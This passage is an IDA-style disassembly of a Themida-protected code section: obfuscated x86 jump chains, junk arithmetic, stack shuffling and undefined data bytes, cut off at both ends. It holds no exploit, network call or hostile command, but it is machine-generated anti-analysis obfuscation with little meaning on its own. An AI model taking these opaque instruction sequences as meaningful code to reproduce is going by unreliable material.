		pop	ebx
		shl	edi, 4
		xchg	ebx, edi
		not	ebx
		push	edi
		push	ecx
		jmp	loc_55E848
; ---------------------------------------------------------------------------

loc_55F033:				; CODE XREF: Themida_:0056316Ej
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 57D813CDh
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, 57D813CDh
		mov	edi, [esp]
		jmp	loc_561DE2
; ---------------------------------------------------------------------------

loc_55F065:				; CODE XREF: Themida_:0056A59Ej
		push	edi
		push	739B1B57h
		pop	edi
		neg	edi
		xor	edi, 0FD20875Bh
		mov	ecx, edi
		pop	edi
		mov	esi, 0E55ECFF8h
		sub	esi, ecx
		pop	ecx
		jmp	loc_565609
; ---------------------------------------------------------------------------

loc_55F084:				; CODE XREF: Themida_:0056511Fj
		push	ebx
		jmp	loc_55A588
; ---------------------------------------------------------------------------

loc_55F08A:				; CODE XREF: Themida_:00568A51j
		sub	ecx, esi
		pop	esi
		jmp	loc_55BE64
; ---------------------------------------------------------------------------

loc_55F092:				; CODE XREF: Themida_:0055E47Ej
		xor	al, dl
		mov	edx, [esp]
		push	esi
		jmp	loc_56CE85
; ---------------------------------------------------------------------------

loc_55F09D:				; CODE XREF: Themida_:0055F9F0j
		add	ebx, edx
		add	ebx, 37F84735h
		pop	edx
		add	ebx, 4
		jmp	loc_55DF5F
; ---------------------------------------------------------------------------

loc_55F0B1:				; CODE XREF: Themida_:0056B72Aj
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_55C6F7
; ---------------------------------------------------------------------------

loc_55F0C5:				; CODE XREF: Themida_:0055B429j
		mov	al, dh
		pop	edx
		push	dword ptr [esp]
		jmp	loc_55C617
; ---------------------------------------------------------------------------

loc_55F0D0:				; CODE XREF: Themida_:0056670Ej
					; Themida_:0056C0BBj
		pop	esp
		mov	[esp], ecx
		mov	cl, dl
		push	edx
		jmp	loc_55B427
; ---------------------------------------------------------------------------

loc_55F0DC:				; CODE XREF: Themida_:0056151Ej
		mov	ch, ah
		jmp	loc_5572DF
; ---------------------------------------------------------------------------

loc_55F0E3:				; CODE XREF: Themida_:0056754Dj
		mov	[esp], edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 72D35D92h
		jmp	loc_56341C
; ---------------------------------------------------------------------------

loc_55F0F3:				; CODE XREF: Themida_:loc_55839Ej
					; Themida_:0056066Bj
		mov	ch, 3Bh
		jmp	loc_56A974
; ---------------------------------------------------------------------------

loc_55F0FA:				; CODE XREF: Themida_:0056630Ej
		mov	[esp], ax
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55F103:				; CODE XREF: Themida_:00561BB7j
		push	22F5E65h
		pop	ebx
		or	ebp, ebx
		pop	ebx
		neg	ebp
		push	ebx
		mov	ebx, 26914B49h
		jmp	loc_568DD1
; ---------------------------------------------------------------------------

loc_55F119:				; CODE XREF: Themida_:0056292Cj
		shl	edi, 1
		sub	edi, 0F224A58Ah
		sub	edx, edi
		pop	edi
		sub	edx, 7E2E67D4h
		add	edx, 476C5AD6h
		jmp	loc_56295A
; ---------------------------------------------------------------------------

loc_55F135:				; CODE XREF: Themida_:00563CF7j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55683E
; ---------------------------------------------------------------------------

loc_55F141:				; CODE XREF: Themida_:0055F8FCj
					; Themida_:005622C3j
		sub	ebx, ebp
		pop	ebp
		pop	esi
		pop	dword ptr [eax]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55F14C:				; CODE XREF: Themida_:00559725j
		sub	esi, ecx
		pop	ecx
		add	esi, ebp
		push	edi
		mov	edi, 5AD90087h
		jmp	loc_56CCD3
; ---------------------------------------------------------------------------

loc_55F15C:				; CODE XREF: Themida_:0056813Fj
		jmp	loc_55ECDA
; ---------------------------------------------------------------------------

loc_55F161:				; CODE XREF: Themida_:0055BDEAj
		mov	ebp, 2858688Eh
		jmp	loc_55663C
; ---------------------------------------------------------------------------

loc_55F16B:				; CODE XREF: Themida_:005600C0j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55B0B0
; ---------------------------------------------------------------------------

loc_55F185:				; CODE XREF: Themida_:005681ACj
		shr	eax, 1
		or	eax, 32111777h
		jmp	loc_56B740
; ---------------------------------------------------------------------------
byte_55F191	db 8Bh,	14h, 24h	; DATA XREF: Themida_:005560E0o
		dd 389F68h, 243C8900h, 0CE68E789h, 8900002Bh, 4B82404h
		dd 0E9000000h, 8A79h
; ---------------------------------------------------------------------------

loc_55F1B0:				; CODE XREF: Themida_:0055CD9Cj
		push	esi
		mov	esi, 0B253E810h
		jmp	loc_56575C
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 24248B24h, 405h, 11AE6800h, 14890000h, 7527E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F1D6:				; CODE XREF: Themida_:0056D657j
		add	esp, 2
		shl	al, 7
		shl	al, 2
		push	edx
		push	ecx
		jmp	loc_56BFA7
; ---------------------------------------------------------------------------

loc_55F1E9:				; CODE XREF: Themida_:00561D0Aj
		mov	cl, 0BBh
		add	cl, 95h
		jmp	loc_560275
; ---------------------------------------------------------------------------

loc_55F1F3:				; CODE XREF: Themida_:00569A04j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_56693A
; ---------------------------------------------------------------------------

loc_55F206:				; CODE XREF: Themida_:0055EB37j
		mov	[esp], edx
		mov	edx, 38h
		push	2160h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2B0D47EEh
		mov	ebx, esi
		pop	esi
		shl	ebx, 8
		sub	ebx, 24303575h
		jmp	loc_567407
; ---------------------------------------------------------------------------

loc_55F232:				; CODE XREF: Themida_:005571D1j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	edi
		mov	edi, 79B178F3h
		or	edi, 15BF750Eh
		jmp	loc_56889E
; ---------------------------------------------------------------------------

loc_55F24E:				; CODE XREF: Themida_:0055CCE0j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		push	esi
		push	78B360BCh
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56C42C
; ---------------------------------------------------------------------------
		dd 5C243C87h, 5104C483h, 42474FFh, 24048F59h, 4A30F5Ch
		dd 60E99C24h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F287:				; CODE XREF: Themida_:0055E930j
		mov	ebp, 55766006h
		shr	ebp, 5
		push	670Eh
		mov	[esp], ecx
		jmp	loc_55B3C8
; ---------------------------------------------------------------------------

loc_55F29C:				; CODE XREF: Themida_:0055C140j
		push	0CBBh
		mov	[esp], ebx
		mov	bh, 3
		mov	ah, bh
		pop	ebx
		or	dl, ah
		pop	eax
		and	dl, 81h
		shl	dl, 4
		sub	dl, 0B2h
		add	al, dl
		jmp	loc_5656E5
; ---------------------------------------------------------------------------
		dd 7D9E68h, 24348900h, 0FFD271E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F2C9:				; CODE XREF: Themida_:00557AACj
		shr	edi, 3
		jmp	loc_56D134
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 46434D50h, 233D8C0Fh, 0CE810000h, 4B466AFFh,	6B810F4Eh
		dd 81000090h, 0F77AFAEEh, 5EF1896Bh, 0C8BCA89h
		db 24h
; ---------------------------------------------------------------------------

loc_55F2F9:				; CODE XREF: Themida_:0056ABA0j
		mov	[esp], esi
		jmp	loc_560731
; ---------------------------------------------------------------------------

loc_55F301:				; CODE XREF: Themida_:005633CBj
		dec	esi
		not	esi
		xor	esi, 53355A6Ah
		sub	esi, 0AC83316Fh
		jmp	loc_55EBB4
; ---------------------------------------------------------------------------

loc_55F315:				; CODE XREF: Themida_:0056842Cj
		mov	[esp], ebp
		push	eax
		mov	eax, 5DAA67DEh
		neg	eax
		xor	eax, 0E2FDBC48h
		mov	ebp, eax
		jmp	loc_55F974
; ---------------------------------------------------------------------------

loc_55F32C:				; CODE XREF: Themida_:00561B8Bj
					; Themida_:00568159j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55E432
; ---------------------------------------------------------------------------

loc_55F337:				; CODE XREF: Themida_:0056D003j
		push	edx
		push	eax
		jmp	loc_56580A
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 9B13E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F346:				; CODE XREF: Themida_:0055CA3Bj
		mov	[esp], ebp
		add	dword ptr [esp], 628D50BEh
		pop	dword ptr [edx+30h]
		push	esi
		mov	esi, 3DC55014h
		shr	esi, 4
		add	esi, 5EB0FBBDh
		jmp	loc_568752
; ---------------------------------------------------------------------------

loc_55F367:				; CODE XREF: Themida_:0056833Ej
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55CCD4
; ---------------------------------------------------------------------------

loc_55F375:				; CODE XREF: Themida_:0055971Bj
		neg	edx
		add	edx, 6DCE087Ch
		xor	ecx, edx
		pop	edx
		sub	edi, 2D87011h
		add	edi, ecx
		add	edi, 2D87011h
		pop	ecx
		mov	esi, [esp]
		push	ebx
		jmp	loc_567D7C
; ---------------------------------------------------------------------------

loc_55F398:				; CODE XREF: Themida_:00561854j
		xor	eax, 15390C5Eh
		shl	eax, 6
		add	eax, 71982158h
		jmp	loc_55EC5A
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0B951DA87h, 3B1D0A67h, 479AE981h, 0C9816DA0h, 2BF135B6h
		dd 650EC181h, 0C1810C5Bh, 0C6BF3B6h, 8159CA01h,	8E73A3EAh
		dd 81D2F762h, 0DFAE32F2h, 4ABA52F7h, 14BF452h, 24148BD0h
		dd 0E904C483h, 8A9Dh, 65484FBAh, 98DAE909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F3FA:				; CODE XREF: Themida_:loc_56C84Bj
		neg	edx
		jmp	loc_5666AC
; ---------------------------------------------------------------------------

loc_55F401:				; CODE XREF: Themida_:00563F8Aj
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 656A1566h
		shl	edx, 7
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 4AF54CFBh
		jmp	loc_55E1FD
; ---------------------------------------------------------------------------

loc_55F41E:				; CODE XREF: Themida_:00561135j
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_55E4E5
; ---------------------------------------------------------------------------

loc_55F427:				; CODE XREF: Themida_:loc_560E0Ej
		or	esi, 12235B00h
		jb	loc_558534
		jmp	loc_568F5B
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0A65Fh
; ---------------------------------------------------------------------------

loc_55F440:				; CODE XREF: Themida_:005584D4j
					; Themida_:00569561j
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_56418F
; ---------------------------------------------------------------------------

loc_55F449:				; CODE XREF: Themida_:00565951j
		xor	ebx, 42602B46h
		jmp	loc_55BAC5
; ---------------------------------------------------------------------------
		dd 2172C681h, 835F2853h, 343304C6h, 24343124h, 0FF79D4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F469:				; CODE XREF: Themida_:00569D4Bj
		mov	eax, [esp]
		jmp	loc_56B475
; ---------------------------------------------------------------------------

loc_55F471:				; CODE XREF: Themida_:00559D3Fj
		mov	[esp], eax
		mov	eax, 2AC6598h
		jmp	loc_55D2C7
; ---------------------------------------------------------------------------
		dw 0FA09h
		dd 0D7EA815Fh, 812B0546h, 0B41B14EAh, 0ACE9503Bh
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F493:				; CODE XREF: Themida_:00562129j
		push	ebx
		push	ecx
		jmp	loc_562ABE
; ---------------------------------------------------------------------------

loc_55F49A:				; CODE XREF: Themida_:0055BCDAj
		add	esp, 2
		add	ax, 62AEh
		add	ax, cx
		sub	ax, 62AEh
		push	cx
		jmp	loc_56B565
; ---------------------------------------------------------------------------

loc_55F4AF:				; CODE XREF: Themida_:00565DC0j
		add	edi, esi
		pop	esi
		shl	edi, 5
		push	ecx
		mov	ecx, 50E91325h
		jmp	loc_5661A2
; ---------------------------------------------------------------------------

loc_55F4C0:				; CODE XREF: Themida_:00558EB5j
		sub	ecx, 6FB3216Ah
		jmp	loc_55FCF2
; ---------------------------------------------------------------------------

loc_55F4CB:				; CODE XREF: Themida_:00556C07j
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0EDF3F980h
		jmp	loc_556FF5
; ---------------------------------------------------------------------------
		dw 1487h
aHD		db '$\h{D',0
		dw 0E900h
		dd 0FFFFC573h
; ---------------------------------------------------------------------------

loc_55F4E8:				; CODE XREF: Themida_:00561B5Aj
					; DATA XREF: Themida_:00556298o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_559285
; ---------------------------------------------------------------------------

loc_55F4F8:				; CODE XREF: Themida_:0055E1FFj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_568D6B
; ---------------------------------------------------------------------------
		dw 1489h
aSoz		db '$ИoZ',0
		align 2

loc_55F50E:				; CODE XREF: Themida_:0055C9ECj
		add	esi, 4
		jmp	loc_569B8B
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0BC716ABEh, 8EEC146h, 2D53E681h, 0FBE92DE3h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F52F:				; CODE XREF: Themida_:00559B05j
		mov	[esp], ebx
		mov	ebx, 2DE77ADh
		jmp	loc_565ADF
; ---------------------------------------------------------------------------

loc_55F53C:				; CODE XREF: Themida_:0055CD31j
		sub	al, dl
		pop	dx
		jmp	loc_5569E4
; ---------------------------------------------------------------------------

loc_55F545:				; CODE XREF: Themida_:00564404j
		push	edi
		push	ebx
		jmp	loc_55D782
; ---------------------------------------------------------------------------

loc_55F54C:				; CODE XREF: Themida_:00561C85j
		sub	bh, 25h
		jmp	loc_55E790
; ---------------------------------------------------------------------------

loc_55F554:				; CODE XREF: Themida_:00561302j
		push	5037h
		jmp	loc_55764F
; ---------------------------------------------------------------------------
aISo		db '┬щ[Иo╡',0
		align 2

loc_55F566:				; CODE XREF: Themida_:0055E1CFj
		not	edi
		not	edi
		sub	edi, 0AF4A1853h
		mov	ebx, edi
		pop	edi
		sub	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, ebx
		jmp	loc_569E8B
; ---------------------------------------------------------------------------

loc_55F583:				; CODE XREF: Themida_:0056A6DEj
		pop	edi
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_561124
; ---------------------------------------------------------------------------

loc_55F592:				; CODE XREF: Themida_:00559D4Cj
		sub	esi, 67712509h
		add	esi, 0E4005AA0h
		sub	edi, 21A1692Bh
		jmp	loc_55D810
; ---------------------------------------------------------------------------

loc_55F5A9:				; CODE XREF: Themida_:0056640Bj
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 5Bh
		push	ecx
		mov	ch, 17h
		jmp	loc_5644BB
; ---------------------------------------------------------------------------

loc_55F5B9:				; CODE XREF: Themida_:0055B840j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_566E91
; ---------------------------------------------------------------------------

loc_55F5C7:				; CODE XREF: Themida_:00564651j
		mov	edi, 801A6AC7h
		xor	ebp, edi
		jmp	loc_55710A
; ---------------------------------------------------------------------------

loc_55F5D3:				; CODE XREF: Themida_:00559980j
		pop	edi
		jmp	loc_5582D4
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 81h
		dd 0DFD29BF2h, 8BD509E0h, 0C4832414h, 8BED8104h, 0E951A4EDh
		dd 8EB5h
; ---------------------------------------------------------------------------

loc_55F5F4:				; CODE XREF: Themida_:0055879Cj
		pop	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_556E55
; ---------------------------------------------------------------------------

loc_55F5FF:				; CODE XREF: Themida_:0055B532j
					; Themida_:0056D263j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_569214
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 243C8B24h, 4C481h, 89530000h, 0A10BE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F62A:				; CODE XREF: Themida_:00563706j
		push	ebx
		jmp	loc_567F7C
; ---------------------------------------------------------------------------

loc_55F630:				; CODE XREF: Themida_:0056B4C9j
		mov	edx, 6F217135h
		jmp	loc_563F4E
; ---------------------------------------------------------------------------
word_55F63A	dw 34FFh		; DATA XREF: Themida_:005560F0o
		dd 49E95824h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F643:				; CODE XREF: Themida_:00566B2Ej
		push	eax
		mov	eax, 31835151h
		jmp	loc_565193
; ---------------------------------------------------------------------------

loc_55F64E:				; CODE XREF: Themida_:00559992j
		mov	ecx, [esp]
		add	esp, 4
		shr	bl, 1
		js	loc_55932F
		dec	bl
		jge	loc_556655
		xor	bl, 76h
		jno	loc_559BEA
		push	eax

loc_55F671:				; CODE XREF: Themida_:loc_56187Aj
		dec	eax
		jno	loc_56AA25
		jmp	loc_561A9F
; ---------------------------------------------------------------------------
		db 68h,	0ADh, 6Eh
		dd 2C890000h
		db 24h,	5Eh
; ---------------------------------------------------------------------------

loc_55F686:				; CODE XREF: Themida_:00565D48j
		add	[esp+4], ecx
		pop	ecx
		pop	esi
		push	ecx
		mov	ecx, 2FE967F5h
		jmp	loc_55E389
; ---------------------------------------------------------------------------
aJcsad		db '\├ГИA╓',0
		db 0
; ---------------------------------------------------------------------------

loc_55F69F:				; CODE XREF: Themida_:005593A8j
		sub	edi, 366B72A1h
		add	edi, 664147C7h
		shl	edi, 3
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56B6AE
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 29000000h, 0A1E95AD7h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F6C7:				; CODE XREF: Themida_:0056D103j
		xor	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5655FE
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 0A213E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F6E2:				; CODE XREF: Themida_:00568E10j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_558ADC
; ---------------------------------------------------------------------------

loc_55F6FC:				; CODE XREF: Themida_:0055B819j
					; Themida_:00562AE7j
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		push	3886h
		mov	[esp], ebp
		mov	ebp, 1CBC18F9h
		xor	ebp, 2DF83BD0h
		jmp	loc_55B5D2
; ---------------------------------------------------------------------------

loc_55F71D:				; CODE XREF: Themida_:0055B808j
		mov	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		pop	edx
		push	1A6Fh
		mov	[esp], eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_556619
; ---------------------------------------------------------------------------
		db 31h,	0CEh, 0E9h
		dd 0FFFF9E4Bh
; ---------------------------------------------------------------------------

loc_55F74C:				; CODE XREF: Themida_:00557FA4j
		pop	ebp
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_55EFDC
; ---------------------------------------------------------------------------

loc_55F75B:				; CODE XREF: Themida_:0055DD22j
		sub	edx, 579520Fh
		jbe	loc_55EEBB
		push	45D0h
		mov	[esp], ecx
		push	480048CEh
		jmp	loc_56CBE4
; ---------------------------------------------------------------------------

loc_55F779:				; CODE XREF: Themida_:0056BB69j
		push	ecx
		mov	ch, 15h
		add	ch, 2Fh
		jmp	loc_55807D
; ---------------------------------------------------------------------------

loc_55F784:				; CODE XREF: Themida_:005668ACj
		shr	esi, 8
		sub	esi, 2CF40A97h
		add	ecx, esi
		jmp	loc_559BC3
; ---------------------------------------------------------------------------
		dd 3318BE56h, 0D6F74F52h, 7920F681h, 0C6813CE1h, 45FC1F99h
		dd 7343E681h, 814E6286h, 8195CAEEh, 5EF10168h, 6DF6C681h
		dd 0CE0144A1h, 6DF6EE81h, 565944A1h, 42474FFh, 24048F5Eh
		dd 74FF525Ch, 148B0424h, 4EC8124h, 89000000h, 0E389241Ch
		dd 4C381h, 60E90000h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F7EF:				; CODE XREF: Themida_:0056196Bj
		add	ebp, eax
		pop	eax
		push	5F9Ch
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_559F7C
; ---------------------------------------------------------------------------

loc_55F806:				; CODE XREF: Themida_:0055A559j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		jmp	loc_568C61
; ---------------------------------------------------------------------------

loc_55F814:				; CODE XREF: Themida_:00561749j
		push	ebx
		push	esi
		push	28F26FA8h
		pop	esi
		xchg	ecx, esi
		not	ecx
		jmp	loc_568FB0
; ---------------------------------------------------------------------------

loc_55F825:				; CODE XREF: Themida_:00565CE1j
		pop	dword ptr [esp]
		pop	esp
		push	4CEBh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3F1F1FD3h
		dec	edx
		sub	edx, 3F1F1FCEh
		sub	ecx, 62136C94h
		sub	ecx, edx
		jmp	loc_56BCA0
; ---------------------------------------------------------------------------

loc_55F858:				; CODE XREF: Themida_:005682DFj
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		inc	ebp
		push	7AB6h
		jmp	loc_558635
; ---------------------------------------------------------------------------

loc_55F86E:				; CODE XREF: Themida_:0055ED6Aj
		add	esp, 4
		xor	ch, 0A1h
		add	bl, ch
		jmp	loc_568DB7
; ---------------------------------------------------------------------------

loc_55F87B:				; CODE XREF: Themida_:00561D92j
		or	ebx, 4F44429Ch
		not	ebx
		push	ecx
		mov	ecx, 623E7D2Dh
		jmp	loc_55D09F
; ---------------------------------------------------------------------------

loc_55F88E:				; CODE XREF: Themida_:00557178j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56D2C7
; ---------------------------------------------------------------------------

loc_55F8A7:				; CODE XREF: Themida_:0055E63Fj
		xor	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 65872D9Dh
		shl	ecx, 6
		dec	ecx
		not	ecx
		add	ecx, 83F5BD10h
		or	edx, ecx
		jmp	loc_55C7EF
; ---------------------------------------------------------------------------

loc_55F8CB:				; CODE XREF: Themida_:0056717Dj
		add	edx, ecx
		add	edx, 57FB5614h
		mov	ecx, [esp]
		add	esp, 4
		add	edx, edi
		sub	edx, 1DF1137Eh
		pop	edi
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56667E
; ---------------------------------------------------------------------------

loc_55F8F6:				; CODE XREF: Themida_:0056ADF3j
		or	esi, 51A20675h
		jl	loc_55F141
		add	esi, 0FB7F574Bh
		add	esi, 84CEA1BCh
		jmp	loc_568F21
; ---------------------------------------------------------------------------

loc_55F913:				; CODE XREF: Themida_:loc_55BC6Ej
		or	eax, 45433082h
		jg	loc_55839E
		jmp	loc_55C564
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE24Ch
; ---------------------------------------------------------------------------

loc_55F928:				; CODE XREF: Themida_:00568547j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 84132CAh
		or	esi, edi
		pop	edi
		not	esi
		inc	esi
		jmp	loc_566E6B
; ---------------------------------------------------------------------------

loc_55F942:				; CODE XREF: Themida_:00567FA6j
		mov	ebp, 4
		sub	esi, 2DA70294h
		add	esi, ebp
		add	esi, 2DA70294h
		pop	ebp
		jmp	loc_5688E3
; ---------------------------------------------------------------------------
byte_55F95B	db 66h			; DATA XREF: Themida_:00556080o
		dd 68240C8Bh, 4D2Ch, 0FFCE9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F969:				; CODE XREF: Themida_:00566B3Aj
		push	esi
		mov	esi, 55F95162h
		jmp	loc_565CD2
; ---------------------------------------------------------------------------

loc_55F974:				; CODE XREF: Themida_:0055F327j
		pop	eax
		shl	ebp, 7
		sub	ebp, 0FFFFFFFFh
		and	ebp, 73DC2378h
		push	esi
		mov	esi, 43155923h
		xor	ebp, esi
		pop	esi
		jmp	loc_55C2DC
; ---------------------------------------------------------------------------

loc_55F98F:				; CODE XREF: Themida_:0055D920j
		jmp	loc_55C379
; ---------------------------------------------------------------------------

loc_55F994:				; CODE XREF: Themida_:loc_55989Ej
		and	ebp, 25A316D3h
		add	ebp, 226F5FA4h
		jmp	loc_55EE6F
; ---------------------------------------------------------------------------

loc_55F9A5:				; CODE XREF: Themida_:0055D872j
		sub	ebx, 157A08B1h
		push	eax
		mov	eax, 1151526Dh
		shl	eax, 4
		or	eax, 25D816FDh
		xor	eax, 75653EC0h
		add	ebx, eax
		jmp	loc_56CD29
; ---------------------------------------------------------------------------

loc_55F9C5:				; CODE XREF: Themida_:00568BDAj
		pop	eax
		push	dx
		mov	dl, 91h
		xor	ch, dl
		pop	dx
		xor	al, ch
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_558F4C
; ---------------------------------------------------------------------------

loc_55F9E4:				; CODE XREF: Themida_:00561875j
		push	ecx
		jmp	loc_569248
; ---------------------------------------------------------------------------

loc_55F9EA:				; CODE XREF: Themida_:0055BDF5j
		sub	ebx, 37F84735h
		jmp	loc_55F09D
; ---------------------------------------------------------------------------

loc_55F9F5:				; CODE XREF: Themida_:0055C74Cj
					; Themida_:0055E233j
		sub	dl, bh
		sub	dl, 8Eh
		push	eax
		push	dx
		mov	dh, 1Eh
		mov	al, dh
		pop	dx
		jmp	loc_562033
; ---------------------------------------------------------------------------

loc_55FA08:				; CODE XREF: Themida_:00559F21j
		sub	al, 0D6h
		sub	al, 6Fh
		sub	al, bh
		add	al, 6Fh
		jmp	loc_55C9F1
; ---------------------------------------------------------------------------

loc_55FA15:				; CODE XREF: Themida_:0055855Fj
		push	6C95h
		mov	[esp], ebp
		jmp	loc_566DD5
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 2434FFF1h, 5724348Bh, 0E2E9E789h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FA33:				; CODE XREF: Themida_:0056A17Aj
		neg	ebx
		xor	ebx, 20014806h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_5699AA
; ---------------------------------------------------------------------------

loc_55FA49:				; CODE XREF: Themida_:0055873Fj
		mov	ecx, 0FFFFFFFFh
		add	edi, ecx
		pop	ecx
		jmp	loc_565C71
; ---------------------------------------------------------------------------

loc_55FA56:				; CODE XREF: Themida_:0056B560j
		add	ebp, esi
		jmp	loc_5594F6
; ---------------------------------------------------------------------------

loc_55FA5D:				; CODE XREF: Themida_:005594F1j
		sub	al, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_560586
; ---------------------------------------------------------------------------
		db 89h
		dd 24048BC6h, 8104C483h, 0A7229AEEh, 0E9F3013Eh, 0B4A1h
; ---------------------------------------------------------------------------

loc_55FA88:				; CODE XREF: Themida_:0055EAE1j
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_563220
; ---------------------------------------------------------------------------

loc_55FA94:				; CODE XREF: Themida_:0056A4EEj
		shr	esi, 2
		jns	loc_567613
		dec	esi
		and	esi, 78185A10h
		add	esi, 5C4CC9EBh
		pop	esi

loc_55FAAB:				; CODE XREF: Themida_:00567CADj
		mov	ebp, 2B7F18B5h
		push	0
		jmp	loc_55A1A6
; ---------------------------------------------------------------------------

loc_55FABA:				; CODE XREF: Themida_:00567BEEj
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_56253F
; ---------------------------------------------------------------------------

loc_55FACD:				; CODE XREF: Themida_:0056282Cj
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_55CDD8
; ---------------------------------------------------------------------------

loc_55FAD7:				; CODE XREF: Themida_:0055B461j
		pop	eax
		dec	edi
		dec	edi
		jmp	loc_559B9E
; ---------------------------------------------------------------------------
		db 83h
		dd 48704E8h, 17A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FAEA:				; CODE XREF: Themida_:0056B56Bj
		add	ax, 17BCh
		add	ax, cx
		sub	ax, 17BCh
		pop	cx
		jmp	loc_564F23
; ---------------------------------------------------------------------------

loc_55FAFC:				; CODE XREF: Themida_:00566E08j
		add	ebp, esi
		pop	esi
		jmp	loc_55CF9A
; ---------------------------------------------------------------------------

loc_55FB04:				; CODE XREF: Themida_:0056887Ej
		mov	esi, ebx
		pop	ebx
		jmp	loc_5674F3
; ---------------------------------------------------------------------------
dword_55FB0C	dd 115D68h, 243C8900h	; DATA XREF: Themida_:00556064o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
